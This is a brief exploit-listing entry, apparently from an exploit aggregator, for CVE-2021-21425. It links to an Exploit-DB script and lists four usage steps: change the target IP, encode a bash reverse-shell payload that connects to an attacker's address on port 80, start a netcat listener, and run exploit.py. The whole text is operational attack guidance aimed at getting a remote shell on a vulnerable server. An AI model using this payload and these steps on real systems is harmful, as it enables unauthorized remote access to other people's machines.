## https://sploitus.com/exploit?id=F96087B7-6FF1-5462-BB75-3FE495B69D26
# CVE-2021-21425
source: https://www.exploit-db.com/exploits/49973
[1] change target ip
[2] change payload
echo -ne "bash -i >& /dev/tcp/OUR-IP/80 0>&1" | base64 -w0
[3] sudo nc -lvnp 80
[4] python3 exploit.py